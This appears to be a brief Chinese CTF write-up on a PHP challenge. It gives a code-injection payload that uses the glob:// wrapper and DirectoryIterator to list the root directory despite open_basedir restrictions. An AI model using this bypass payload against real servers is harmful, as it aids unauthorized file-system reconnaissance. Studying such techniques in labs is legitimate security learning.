下载源码:
开启环境:
本题设置了 open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。
因为 ini_set() 也被限制了,所以 open_basedir() 不能用 ini_set() 重新设置绕过。
使用 php 伪协议 glob://
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
不加前面 ?><?php 也是可以的。 eval() 里的语句可以视为在当前 php 文件里加了几条语句,这些语句必须是完整的,即必须以 “ ; ” 或者 “ ?> ” 结尾来结束语句,但是eval里的 “ ?> ” 不会闭合当前 php 文件。